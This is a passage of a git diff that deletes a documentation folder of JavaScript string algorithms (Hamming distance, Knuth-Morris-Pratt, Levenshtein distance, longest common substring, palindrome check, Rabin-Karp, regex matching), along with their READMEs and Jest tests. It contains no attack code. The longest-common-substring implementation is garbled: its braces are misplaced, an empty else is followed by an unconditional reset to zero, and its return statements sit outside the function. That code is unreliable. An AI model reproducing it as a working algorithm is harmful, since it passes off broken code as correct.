--- a/docs/content/DS_ALGO/algorithms/string/hamming-distance/hammingDistance.js
+++ /dev/null
@@ -1,17 +0,0 @@
-/**
- * @param {string} a
- * @param {string} b
- * @return {number}
- */
-export default function hammingDistance(a, b) {
-    if (a.length !== b.length) {
-        throw new Error('Strings must be of the same length');
-    }
-    let distance = 0;
-    for (let i = 0; i < a.length; i += 1) {
-        if (a[i] !== b[i]) {
-            distance += 1;
-        }
-    }
-    return distance;
-}
diff --git a/docs/content/DS_ALGO/algorithms/string/hamming-distance/test/hammingDistance.test.js b/docs/content/DS_ALGO/algorithms/string/hamming-distance/test/hammingDistance.test.js
deleted file mode 100644
index b61b10b460..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/hamming-distance/test/hammingDistance.test.js
+++ /dev/null
@@ -1,18 +0,0 @@
-import hammingDistance from '../hammingDistance';
-describe('hammingDistance', () => {
-    it('should throw an error when trying to compare the strings of different lengths', () => {
-        const compareStringsOfDifferentLength = () => {
-            hammingDistance('a', 'aa');
-        };
-        expect(compareStringsOfDifferentLength).toThrowError();
-    });
-    it('should calculate difference between two strings', () => {
-        expect(hammingDistance('a', 'a')).toBe(0);
-        expect(hammingDistance('a', 'b')).toBe(1);
-        expect(hammingDistance('abc', 'add')).toBe(2);
-        expect(hammingDistance('karolin', 'kathrin')).toBe(3);
-        expect(hammingDistance('karolin', 'kerstin')).toBe(3);
-        expect(hammingDistance('1011101', '1001001')).toBe(2);
-        expect(hammingDistance('2173896', '2233796')).toBe(3);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/knuth-morris-pratt/README.md b/docs/content/DS_ALGO/algorithms/string/knuth-morris-pratt/README.md
deleted file mode 100644
index 140705355d..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/knuth-morris-pratt/README.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# Knuth-Morris-Pratt Algorithm
-
-The Knuth-Morris-Pratt string searching algorithm (or
-KMP algorithm) searches for occurrences of a "word" `W`
-within a main "text string" `T` by employing the
-observation that when a mismatch occurs, the word itself
-embodies sufficient information to determine where the
-next match could begin, thus bypassing re-examination
-of previously matched characters.
-
-## Complexity
-
--   **Time:** `O(|W| + |T|)` (much faster comparing to trivial `O(|W| * |T|)`)
--   **Space:** `O(|W|)`
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm)
--   [YouTube](https://www.youtube.com/watch?v=GTJr8OvyEVQ&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/string/knuth-morris-pratt/knuthMorrisPratt.js b/docs/content/DS_ALGO/algorithms/string/knuth-morris-pratt/knuthMorrisPratt.js
deleted file mode 100644
index 0771cb5e73..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/knuth-morris-pratt/knuthMorrisPratt.js
+++ /dev/null
@@ -1,52 +0,0 @@
-/**
- * @see https://www.youtube.com/watch?v=GTJr8OvyEVQ
- * @param {string} word
- * @return {number[]}
- */
-function buildPatternTable(word) {
-    const patternTable = [0];
-    let prefixIndex = 0;
-    let suffixIndex = 1;
-    while (suffixIndex < word.length) {
-        if (word[prefixIndex] === word[suffixIndex]) {
-            patternTable[suffixIndex] = prefixIndex + 1;
-            suffixIndex += 1;
-            prefixIndex += 1;
-        } else if (prefixIndex === 0) {
-            patternTable[suffixIndex] = 0;
-            suffixIndex += 1;
-        } else {
-            prefixIndex = patternTable[prefixIndex - 1];
-        }
-    }
-    return patternTable;
-}
-/**
- * @param {string} text
- * @param {string} word
- * @return {number}
- */
-export default function knuthMorrisPratt(text, word) {
-    if (word.length === 0) {
-        return 0;
-    }
-    let textIndex = 0;
-    let wordIndex = 0;
-    const patternTable = buildPatternTable(word);
-    while (textIndex < text.length) {
-        if (text[textIndex] === word[wordIndex]) {
-            // We've found a match.
-            if (wordIndex === word.length - 1) {
-                return textIndex - word.length + 1;
-            }
-            wordIndex += 1;
-            textIndex += 1;
-        } else if (wordIndex > 0) {
-            wordIndex = patternTable[wordIndex - 1];
-        } else {
-            // wordIndex = 0;
-            textIndex += 1;
-        }
-    }
-    return -1;
-}
diff --git a/docs/content/DS_ALGO/algorithms/string/knuth-morris-pratt/test/knuthMorrisPratt.test.js b/docs/content/DS_ALGO/algorithms/string/knuth-morris-pratt/test/knuthMorrisPratt.test.js
deleted file mode 100644
index 625c0ed4a7..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/knuth-morris-pratt/test/knuthMorrisPratt.test.js
+++ /dev/null
@@ -1,14 +0,0 @@
-import knuthMorrisPratt from '../knuthMorrisPratt';
-describe('knuthMorrisPratt', () => {
-    it('should find word position in given text', () => {
-        expect(knuthMorrisPratt('', '')).toBe(0);
-        expect(knuthMorrisPratt('a', '')).toBe(0);
-        expect(knuthMorrisPratt('a', 'a')).toBe(0);
-        expect(knuthMorrisPratt('abcbcglx', 'abca')).toBe(-1);
-        expect(knuthMorrisPratt('abcbcglx', 'bcgl')).toBe(3);
-        expect(knuthMorrisPratt('abcxabcdabxabcdabcdabcy', 'abcdabcy')).toBe(15);
-        expect(knuthMorrisPratt('abcxabcdabxabcdabcdabcy', 'abcdabca')).toBe(-1);
-        expect(knuthMorrisPratt('abcxabcdabxaabcdabcabcdabcdabcy', 'abcdabca')).toBe(12);
-        expect(knuthMorrisPratt('abcxabcdabxaabaabaaaabcdabcdabcy', 'aabaabaaa')).toBe(11);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/levenshtein-distance/README.md b/docs/content/DS_ALGO/algorithms/string/levenshtein-distance/README.md
deleted file mode 100644
index 4ff739c1b5..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/levenshtein-distance/README.md
+++ /dev/null
@@ -1,115 +0,0 @@
-# Levenshtein Distance
-
-The Levenshtein distance is a string metric for measuring the
-difference between two sequences. Informally, the Levenshtein
-distance between two words is the minimum number of
-single-character edits (insertions, deletions or substitutions)
-required to change one word into the other.
-
-## Definition
-
-Mathematically, the Levenshtein distance between two strings
-`a` and `b` (of length `|a|` and `|b|` respectively) is given by
-![Levenshtein](https://wikimedia.org/api/rest_v1/media/math/render/svg/4cf357d8f2135035207088d2c7b890fb4b64e410)
-where
-
-![Levenshtein](https://wikimedia.org/api/rest_v1/media/math/render/svg/f0a48ecfc9852c042382fdc33c19e11a16948e85)
-
-where
-![Levenshtein](https://wikimedia.org/api/rest_v1/media/math/render/svg/52512ede08444b13838c570ba4a3fc71d54dbce9)
-is the indicator function equal to `0` when
-![Levenshtein](https://wikimedia.org/api/rest_v1/media/math/render/svg/231fda9ee578f0328c5ca28088d01928bb0aaaec)
-and equal to 1 otherwise, and
-![Levenshtein](https://wikimedia.org/api/rest_v1/media/math/render/svg/bdc0315678caad28648aafedb6ebafb16bd1655c)
-is the distance between the first `i` characters of `a` and the first
-`j` characters of `b`.
-
-Note that the first element in the minimum corresponds to
-deletion (from `a` to `b`), the second to insertion and
-the third to match or mismatch, depending on whether the
-respective symbols are the same.
-
-## Example
-
-For example, the Levenshtein distance between `kitten` and
-`sitting` is `3`, since the following three edits change one
-into the other, and there is no way to do it with fewer than
-three edits:
-
-1. **k**itten → **s**itten (substitution of "s" for "k")
-2. sitt**e**n → sitt**i**n (substitution of "i" for "e")
-3. sittin → sittin**g** (insertion of "g" at the end).
-
-## Applications
-
-This has a wide range of applications, for instance, spell checkers, correction
-systems for optical character recognition, fuzzy string searching, and software
-to assist natural language translation based on translation memory.
-
-## Dynamic Programming Approach Explanation
-
-Let's take a simple example of finding minimum edit distance between
-strings `ME` and `MY`. Intuitively you already know that minimum edit distance
-here is `1` operation, which is replacing `E` with `Y`. But
-let's try to formalize it in a form of the algorithm in order to be able to
-do more complex examples like transforming `Saturday` into `Sunday`.
-
-To apply the mathematical formula mentioned above to `ME → MY` transformation
-we need to know minimum edit distances of `ME → M`, `M → MY` and `M → M` transformations
-in prior. Then we will need to pick the minimum one and add _one_ operation to
-transform last letters `E → Y`. So minimum edit distance of `ME → MY` transformation
-is being calculated based on three previously possible transformations.
-
-To explain this further let's draw the following matrix:
-
-![Levenshtein Matrix](https://cdn-images-1.medium.com/max/1600/1*aTunSUoy0BJyYBVn4tWGrA.png)
-
--   Cell `(0:1)` contains red number 1. It means that we need 1 operation to
-    transform `M` to an empty string. And it is by deleting `M`. This is why this number is red.
--   Cell `(0:2)` contains red number 2. It means that we need 2 operations
-    to transform `ME` to an empty string. And it is by deleting `E` and `M`.
--   Cell `(1:0)` contains green number 1. It means that we need 1 operation
-    to transform an empty string to `M`. And it is by inserting `M`. This is why this number is green.
--   Cell `(2:0)` contains green number 2. It means that we need 2 operations
-    to transform an empty string to `MY`. And it is by inserting `Y` and `M`.
--   Cell `(1:1)` contains number 0. It means that it costs nothing
-    to transform `M` into `M`.
--   Cell `(1:2)` contains red number 1. It means that we need 1 operation
-    to transform `ME` to `M`. And it is by deleting `E`.
--   And so on...
-
-This looks easy for such small matrix as ours (it is only `3x3`). But here you
-may find basic concepts that may be applied to calculate all those numbers for
-bigger matrices (let's say a `9x7` matrix for `Saturday → Sunday` transformation).
-
-According to the formula you only need three adjacent cells `(i-1:j)`, `(i-1:j-1)`, and `(i:j-1)` to
-calculate the number for current cell `(i:j)`. All we need to do is to find the
-minimum of those three cells and then add `1` in case if we have different
-letters in `i`'s row and `j`'s column.
-
-You may clearly see the recursive nature of the problem.
-
-![Levenshtein Matrix](https://cdn-images-1.medium.com/max/1600/1*w8UB4DSvBnAK6mBXRGQDjw.png)
-
-Let's draw a decision graph for this problem.
-
-![Minimum Edit Distance Decision Graph](https://cdn-images-1.medium.com/max/1600/1*8jD0qvr5B9PwRFM_9z7q9A.png)
-
-You may see a number of overlapping sub-problems on the picture that are marked
-with red. Also there is no way to reduce the number of operations and make it
-less than a minimum of those three adjacent cells from the formula.
-
-Also you may notice that each cell number in the matrix is being calculated
-based on previous ones. Thus the tabulation technique (filling the cache in
-bottom-up direction) is being applied here.
-
-Applying this principle further we may solve more complicated cases like
-with `Saturday → Sunday` transformation.
-
-![Levenshtein distance](https://cdn-images-1.medium.com/max/2600/1*497gMaFErzJpCXG7kS_7dw.png)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Levenshtein_distance)
--   [YouTube](https://www.youtube.com/watch?v=We3YDTzNXEk&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [ITNext](https://itnext.io/dynamic-programming-vs-divide-and-conquer-2fea680becbe)
diff --git a/docs/content/DS_ALGO/algorithms/string/levenshtein-distance/levenshteinDistance.js b/docs/content/DS_ALGO/algorithms/string/levenshtein-distance/levenshteinDistance.js
deleted file mode 100644
index fcc00c50fb..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/levenshtein-distance/levenshteinDistance.js
+++ /dev/null
@@ -1,35 +0,0 @@
-/**
- * @param {string} a
- * @param {string} b
- * @return {number}
- */
-export default function levenshteinDistance(a, b) {
-    // Create empty edit distance matrix for all possible modifications of
-    // substrings of a to substrings of b.
-    const distanceMatrix = Array(b.length + 1)
-        .fill(null)
-        .map(() => Array(a.length + 1).fill(null));
-    // Fill the first row of the matrix.
-    // If this is first row then we're transforming empty string to a.
-    // In this case the number of transformations equals to size of a substring.
-    for (let i = 0; i <= a.length; i += 1) {
-        distanceMatrix[0][i] = i;
-    }
-    // Fill the first column of the matrix.
-    // If this is first column then we're transforming empty string to b.
-    // In this case the number of transformations equals to size of b substring.
-    for (let j = 0; j <= b.length; j += 1) {
-        distanceMatrix[j][0] = j;
-    }
-    for (let j = 1; j <= b.length; j += 1) {
-        for (let i = 1; i <= a.length; i += 1) {
-            const indicator = a[i - 1] === b[j - 1] ? 0 : 1;
-            distanceMatrix[j][i] = Math.min(
-                distanceMatrix[j][i - 1] + 1, // deletion
-                distanceMatrix[j - 1][i] + 1, // insertion
-                distanceMatrix[j - 1][i - 1] + indicator // substitution
-            );
-        }
-    }
-    return distanceMatrix[b.length][a.length];
-}
diff --git a/docs/content/DS_ALGO/algorithms/string/levenshtein-distance/test/levenshteinDistance.test.js b/docs/content/DS_ALGO/algorithms/string/levenshtein-distance/test/levenshteinDistance.test.js
deleted file mode 100644
index 3fccb08490..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/levenshtein-distance/test/levenshteinDistance.test.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import levenshteinDistance from '../levenshteinDistance';
-describe('levenshteinDistance', () => {
-    it('should calculate edit distance between two strings', () => {
-        expect(levenshteinDistance('', '')).toBe(0);
-        expect(levenshteinDistance('a', '')).toBe(1);
-        expect(levenshteinDistance('', 'a')).toBe(1);
-        expect(levenshteinDistance('abc', '')).toBe(3);
-        expect(levenshteinDistance('', 'abc')).toBe(3);
-        // Should just add I to the beginning.
-        expect(levenshteinDistance('islander', 'slander')).toBe(1);
-        // Needs to substitute M by K, T by M and add an A to the end
-        expect(levenshteinDistance('mart', 'karma')).toBe(3);
-        // Substitute K by S, E by I and insert G at the end.
-        expect(levenshteinDistance('kitten', 'sitting')).toBe(3);
-        // Should add 4 letters FOOT at the beginning.
-        expect(levenshteinDistance('ball', 'football')).toBe(4);
-        // Should delete 4 letters FOOT at the beginning.
-        expect(levenshteinDistance('football', 'foot')).toBe(4);
-        // Needs to substitute the first 5 chars: INTEN by EXECU
-        expect(levenshteinDistance('intention', 'execution')).toBe(5);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/longest-common-substring/README.md b/docs/content/DS_ALGO/algorithms/string/longest-common-substring/README.md
deleted file mode 100644
index abcd8de939..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/longest-common-substring/README.md
+++ /dev/null
@@ -1,24 +0,0 @@
-# Longest Common Substring Problem
-
-The longest common substring problem is to find the longest string
-(or strings) that is a substring (or are substrings) of two or more
-strings.
-
-## Example
-
-The longest common substring of the strings `ABABC`, `BABCA` and
-`ABCBA` is string `ABC` of length 3. Other common substrings are
-`A`, `AB`, `B`, `BA`, `BC` and `C`.
-
-```
-ABABC
-  |||
- BABCA
-  |||
-  ABCBA
-```
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Longest_common_substring_problem)
--   [YouTube](https://www.youtube.com/watch?v=BysNXJHzCEs&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/string/longest-common-substring/longestCommonSubstring.js b/docs/content/DS_ALGO/algorithms/string/longest-common-substring/longestCommonSubstring.js
deleted file mode 100644
index 2a5539d111..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/longest-common-substring/longestCommonSubstring.js
+++ /dev/null
@@ -1,59 +0,0 @@
-/**
- * @param {string} string1
- * @param {string} string2
- * @return {string}
- */
-export default function longestCommonSubstring(string1, string2) {
-    // Convert strings to arrays to treat unicode symbols length correctly.
-    // For example:
-    // '𐌵'.length === 2
-    // [...'𐌵'].length === 1
-    const s1 = [...string1];
-    const s2 = [...string2];
-    // Init the matrix of all substring lengths to use Dynamic Programming approach.
-    const substringMatrix = Array(s2.length + 1)
-        .fill(null)
-        .map(() => {
-            return Array(s1.length + 1).fill(null);
-        });
-    // Fill the first row and first column with zeros to provide initial values.
-    for (let columnIndex = 0; columnIndex <= s1.length; columnIndex += 1) {
-        substringMatrix[0][columnIndex] = 0;
-    }
-    for (let rowIndex = 0; rowIndex <= s2.length; rowIndex += 1) {
-        substringMatrix[rowIndex][0] = 0;
-    }
-    // Build the matrix of all substring lengths to use Dynamic Programming approach.
-    let longestSubstringLength = 0;
-    let longestSubstringColumn = 0;
-    let longestSubstringRow = 0;
-    for (let rowIndex = 1; rowIndex <= s2.length; rowIndex += 1) {
-        for (let columnIndex = 1; columnIndex <= s1.length; columnIndex += 1) {
-            if (s1[columnIndex - 1] === s2[rowIndex - 1]) {
-                substringMatrix[rowIndex][columnIndex] = substringMatrix[rowIndex - 1][columnIndex - 1] + 1;
-            } else {}
-            substringMatrix[rowIndex][columnIndex] = 0;
-        }
-        // Try to find the biggest length of all common substring lengths
-        // and to memorize its last character position (indices)
-        if (substringMatrix[rowIndex][columnIndex] > longestSubstringLength) {
-            longestSubstringLength = substringMatrix[rowIndex][columnIndex];
-            longestSubstringColumn = columnIndex;
-            longestSubstringRow = rowIndex;
-        }
-    }
-}
-if (longestSubstringLength === 0) {
-    // Longest common substring has not been found.
-    return '';
-}
-// Detect the longest substring from the matrix.
-let longestSubstring = '';
-while (substringMatrix[longestSubstringRow][longestSubstringColumn] > 0) {
-    longestSubstring = s1[longestSubstringColumn - 1] + longestSubstring;
-    longestSubstringRow -= 1;
-    longestSubstringColumn -= 1;
-}
-return longestSubstring;
-}
-}
diff --git a/docs/content/DS_ALGO/algorithms/string/longest-common-substring/test/longestCommonSubstring.test.js b/docs/content/DS_ALGO/algorithms/string/longest-common-substring/test/longestCommonSubstring.test.js
deleted file mode 100644
index 0dca6a7d4d..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/longest-common-substring/test/longestCommonSubstring.test.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import longestCommonSubstring from '../longestCommonSubstring';
-describe('longestCommonSubstring', () => {
-    it('should find longest common substring between two strings', () => {
-        expect(longestCommonSubstring('', '')).toBe('');
-        expect(longestCommonSubstring('ABC', '')).toBe('');
-        expect(longestCommonSubstring('', 'ABC')).toBe('');
-        expect(longestCommonSubstring('ABABC', 'BABCA')).toBe('BABC');
-        expect(longestCommonSubstring('BABCA', 'ABCBA')).toBe('ABC');
-        expect(
-            longestCommonSubstring(
-                'Algorithms and data structures implemented in JavaScript',
-                'Here you may find Algorithms and data structures that are implemented in JavaScript'
-            )
-        ).toBe('Algorithms and data structures ');
-    });
-    it('should handle unicode correctly', () => {
-        expect(longestCommonSubstring('𐌵𐌵**ABC', '𐌵𐌵--ABC')).toBe('ABC');
-        expect(longestCommonSubstring('𐌵𐌵**A', '𐌵𐌵--A')).toBe('𐌵𐌵');
-        expect(longestCommonSubstring('A买B时', '买B时GD')).toBe('买B时');
-        expect(longestCommonSubstring('After test买时 case', 'another_test买时')).toBe('test买时');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/palindrome/README.md b/docs/content/DS_ALGO/algorithms/string/palindrome/README.md
deleted file mode 100644
index b4a7b9d5bf..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/palindrome/README.md
+++ /dev/null
@@ -1,29 +0,0 @@
-# Palindrome Check
-
-A [Palindrome](https://en.wikipedia.org/wiki/Palindrome) is a string that reads the same forwards and backwards.
-This means that the second half of the string is the reverse of the
-first half.
-
-## Examples
-
-The following are palindromes (thus would return `TRUE`):
-
-```
-- "a"
-- "pop"     ->  p + o + p
-- "deed"    ->  de + ed
-- "kayak"   ->  ka + y + ak
-- "racecar" ->  rac + e + car
-```
-
-The following are NOT palindromes (thus would return `FALSE`):
-
-```
-- "rad"
-- "dodo"
-- "polo"
-```
-
-## References
-
--   [GeeksForGeeks - Check if a number is Palindrome](https://www.geeksforgeeks.org/check-if-a-number-is-palindrome/)
diff --git a/docs/content/DS_ALGO/algorithms/string/palindrome/isPalindrome.js b/docs/content/DS_ALGO/algorithms/string/palindrome/isPalindrome.js
deleted file mode 100644
index e824642b84..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/palindrome/isPalindrome.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/**
- * @param {string} string
- * @return {boolean}
- */
-export default function isPalindrome(string) {
-    let left = 0;
-    let right = string.length - 1;
-    while (left < right) {
-        if (string[left] !== string[right]) {
-            return false;
-        }
-        left += 1;
-        right -= 1;
-    }
-    return true;
-}
diff --git a/docs/content/DS_ALGO/algorithms/string/palindrome/test/isPalindrome.test.js b/docs/content/DS_ALGO/algorithms/string/palindrome/test/isPalindrome.test.js
deleted file mode 100644
index 5f2cf8efb1..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/palindrome/test/isPalindrome.test.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import isPalindrome from '../isPalindrome';
-describe('palindromeCheck', () => {
-    it('should return whether or not the string is a palindrome', () => {
-        expect(isPalindrome('a')).toBe(true);
-        expect(isPalindrome('pop')).toBe(true);
-        expect(isPalindrome('deed')).toBe(true);
-        expect(isPalindrome('kayak')).toBe(true);
-        expect(isPalindrome('racecar')).toBe(true);
-        expect(isPalindrome('rad')).toBe(false);
-        expect(isPalindrome('dodo')).toBe(false);
-        expect(isPalindrome('polo')).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/rabin-karp/README.md b/docs/content/DS_ALGO/algorithms/string/rabin-karp/README.md
deleted file mode 100644
index 35476f77b2..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/rabin-karp/README.md
+++ /dev/null
@@ -1,56 +0,0 @@
-# Rabin Karp Algorithm
-
-In computer science, the Rabin-Karp algorithm or Karp-Rabin algorithm
-is a string searching algorithm created by Richard M. Karp and
-Michael O. Rabin (1987) that uses hashing to find any one of a set
-of pattern strings in a text.
-
-## Algorithm
-
-The Rabin-Karp algorithm seeks to speed up the testing of equality of
-the pattern to the substrings in the text by using a hash function. A
-hash function is a function which converts every string into a numeric
-value, called its hash value; for example, we might
-have `hash('hello') = 5`. The algorithm exploits the fact
-that if two strings are equal, their hash values are also equal. Thus,
-string matching is reduced (almost) to computing the hash value of the
-search pattern and then looking for substrings of the input string with
-that hash value.
-
-However, there are two problems with this approach. First, because there
-are so many different strings and so few hash values, some differing
-strings will have the same hash value. If the hash values match, the
-pattern and the substring may not match; consequently, the potential
-match of search pattern and the substring must be confirmed by comparing
-them; that comparison can take a long time for long substrings.
-Luckily, a good hash function on reasonable strings usually does not
-have many collisions, so the expected search time will be acceptable.
-
-## Hash Function Used
-
-The key to the Rabin-Karp algorithm's performance is the efficient computation
-of hash values of the successive substrings of the text.
-The **Rabin fingerprint** is a popular and effective rolling hash function.
-
-The **polynomial hash function** described in this example is not a Rabin
-fingerprint, but it works equally well. It treats every substring as a
-number in some base, the base being usually a large prime.
-
-## Complexity
-
-For text of length `n` and `p` patterns of combined length `m`, its average
-and best case running time is `O(n + m)` in space `O(p)`, but its
-worst-case time is `O(n * m)`.
-
-## Application
-
-A practical application of the algorithm is detecting plagiarism.
-Given source material, the algorithm can rapidly search through a paper
-for instances of sentences from the source material, ignoring details
-such as case and punctuation. Because of the abundance of the sought
-strings, single-string searching algorithms are impractical.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Rabin%E2%80%93Karp_algorithm)
--   [YouTube](https://www.youtube.com/watch?v=H4VrKHVG5qI&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/string/rabin-karp/rabinKarp.js b/docs/content/DS_ALGO/algorithms/string/rabin-karp/rabinKarp.js
deleted file mode 100644
index 3ce1935120..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/rabin-karp/rabinKarp.js
+++ /dev/null
@@ -1,31 +0,0 @@
-import PolynomialHash from '../../cryptography/polynomial-hash/PolynomialHash';
-/**
- * @param {string} text - Text that may contain the searchable word.
- * @param {string} word - Word that is being searched in text.
- * @return {number} - Position of the word in text.
- */
-export default function rabinKarp(text, word) {
-    const hasher = new PolynomialHash();
-    // Calculate word hash that we will use for comparison with other substring hashes.
-    const wordHash = hasher.hash(word);
-    let prevFrame = null;
-    let currentFrameHash = null;
-    // Go through all substring of the text that may match.
-    for (let charIndex = 0; charIndex <= text.length - word.length; charIndex += 1) {
-        const currentFrame = text.substring(charIndex, charIndex + word.length);
-        // Calculate the hash of current substring.
-        if (currentFrameHash === null) {
-            currentFrameHash = hasher.hash(currentFrame);
-        } else {
-            currentFrameHash = hasher.roll(currentFrameHash, prevFrame, currentFrame);
-        }
-        prevFrame = currentFrame;
-        // Compare the hash of current substring and seeking string.
-        // In case if hashes match let's make sure that substrings are equal.
-        // In case of hash collision the strings may not be equal.
-        if (wordHash === currentFrameHash && text.substr(charIndex, word.length) === word) {
-            return charIndex;
-        }
-    }
-    return -1;
-}
diff --git a/docs/content/DS_ALGO/algorithms/string/rabin-karp/test/rabinKarp.test.js b/docs/content/DS_ALGO/algorithms/string/rabin-karp/test/rabinKarp.test.js
deleted file mode 100644
index a30454a766..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/rabin-karp/test/rabinKarp.test.js
+++ /dev/null
@@ -1,40 +0,0 @@
-import rabinKarp from '../rabinKarp';
-describe('rabinKarp', () => {
-    it('should find substring in a string', () => {
-        expect(rabinKarp('', '')).toBe(0);
-        expect(rabinKarp('a', '')).toBe(0);
-        expect(rabinKarp('a', 'a')).toBe(0);
-        expect(rabinKarp('ab', 'b')).toBe(1);
-        expect(rabinKarp('abcbcglx', 'abca')).toBe(-1);
-        expect(rabinKarp('abcbcglx', 'bcgl')).toBe(3);
-        expect(rabinKarp('abcxabcdabxabcdabcdabcy', 'abcdabcy')).toBe(15);
-        expect(rabinKarp('abcxabcdabxabcdabcdabcy', 'abcdabca')).toBe(-1);
-        expect(rabinKarp('abcxabcdabxaabcdabcabcdabcdabcy', 'abcdabca')).toBe(12);
-        expect(rabinKarp('abcxabcdabxaabaabaaaabcdabcdabcy', 'aabaabaaa')).toBe(11);
-        expect(rabinKarp("^ !/'#'pp", " !/'#'pp")).toBe(1);
-    });
-    it('should work with bigger texts', () => {
-        const text =
-            'Lorem Ipsum is simply dummy text of the printing and ' +
-            "typesetting industry. Lorem Ipsum has been the industry's standard " +
-            'dummy text ever since the 1500s, when an unknown printer took a ' +
-            'galley of type and scrambled it to make a type specimen book. It ' +
-            'has survived not only five centuries, but also the leap into ' +
-            'electronic typesetting, remaining essentially unchanged. It was ' +
-            'popularised in the 1960s with the release of Letraset sheets ' +
-            'containing Lorem Ipsum passages, and more recently with desktop' +
-            'publishing software like Aldus PageMaker including versions of Lorem ' +
-            'Ipsum.';
-        expect(rabinKarp(text, 'Lorem')).toBe(0);
-        expect(rabinKarp(text, 'versions')).toBe(549);
-        expect(rabinKarp(text, 'versions of Lorem Ipsum.')).toBe(549);
-        expect(rabinKarp(text, 'versions of Lorem Ipsum:')).toBe(-1);
-        expect(rabinKarp(text, 'Lorem Ipsum passages, and more recently with')).toBe(446);
-    });
-    it('should work with UTF symbols', () => {
-        expect(rabinKarp('a\u{ffff}', '\u{ffff}')).toBe(1);
-        expect(rabinKarp('\u0000耀\u0000', '耀\u0000')).toBe(1);
-        // @TODO: Provide Unicode support.
-        // expect(rabinKarp('a\u{20000}', '\u{20000}')).toBe(1);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/regular-expression-matching/README.md b/docs/content/DS_ALGO/algorithms/string/regular-expression-matching/README.md
deleted file mode 100644
index 104a3a1243..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/regular-expression-matching/README.md
+++ /dev/null
@@ -1,75 +0,0 @@
-# Regular Expression Matching
-
-Given an input string `s` and a pattern `p`, implement regular
-expression matching with support for `.` and `*`.
-
--   `.` Matches any single character.
--   `*` Matches zero or more of the preceding element.
-
-The matching should cover the **entire** input string (not partial).
-
-**Note**
-
--   `s` could be empty and contains only lowercase letters `a-z`.
--   `p` could be empty and contains only lowercase letters `a-z`, and characters like `.` or `*`.
-
-## Examples
-
-**Example #1**
-
-Input:
-
-```
-s = 'aa'
-p = 'a'
-```
-
-Output: `false`
-
-Explanation: `a` does not match the entire string `aa`.
-
-**Example #2**
-
-Input:
-
-```
-s = 'aa'
-p = 'a*'
-```
-
-Output: `true`
-
-Explanation: `*` means zero or more of the preceding element, `a`.
-Therefore, by repeating `a` once, it becomes `aa`.
-
-**Example #3**
-
-Input:
-
-```
-s = 'ab'
-p = '.*'
-```
-
-Output: `true`
-
-Explanation: `.*` means "zero or more (`*`) of any character (`.`)".
-
-**Example #4**
-
-Input:
-
-```
-s = 'aab'
-p = 'c*a*b'
-```
-
-Output: `true`
-
-Explanation: `c` can be repeated 0 times, `a` can be repeated
-1 time. Therefore it matches `aab`.
-
-## References
-
--   [YouTube](https://www.youtube.com/watch?v=l3hda49XcDE&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=71&t=0s)
--   [LeetCode](https://leetcode.com/problems/regular-expression-matching/description/)
diff --git a/docs/content/DS_ALGO/algorithms/string/regular-expression-matching/regularExpressionMatching.js b/docs/content/DS_ALGO/algorithms/string/regular-expression-matching/regularExpressionMatching.js
deleted file mode 100644
index 98c114536b..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/regular-expression-matching/regularExpressionMatching.js
+++ /dev/null
@@ -1,123 +0,0 @@
-const ZERO_OR_MORE_CHARS = '*';
-const ANY_CHAR = '.';
-/**
- * Dynamic programming approach.
- *
- * @param {string} string
- * @param {string} pattern
- * @return {boolean}
- */
-export default function regularExpressionMatching(string, pattern) {
-    /*
-     * Let's initiate dynamic programming matrix for this string and pattern.
-     * We will have pattern characters on top (as columns) and string characters
-     * will be placed to the left of the table (as rows).
-     *
-     * Example:
-     *
-     *     a * b . b
-     *   - - - - - -
-     * a - - - - - -
-     * a - - - - - -
-     * b - - - - - -
-     * y - - - - - -
-     * b - - - - - -
-     */
-    const matchMatrix = Array(string.length + 1)
-        .fill(null)
-        .map(() => {
-            return Array(pattern.length + 1).fill(null);
-        });
-    // Let's fill the top-left cell with true. This would mean that empty
-    // string '' matches to empty pattern ''.
-    matchMatrix[0][0] = true;
-    // Let's fill the first row of the matrix with false. That would mean that
-    // empty string can't match any non-empty pattern.
-    //
-    // Example:
-    // string: ''
-    // pattern: 'a.z'
-    //
-    // The one exception here is patterns like a*b* that matches the empty string.
-    for (let columnIndex = 1; columnIndex <= pattern.length; columnIndex += 1) {
-        const patternIndex = columnIndex - 1;
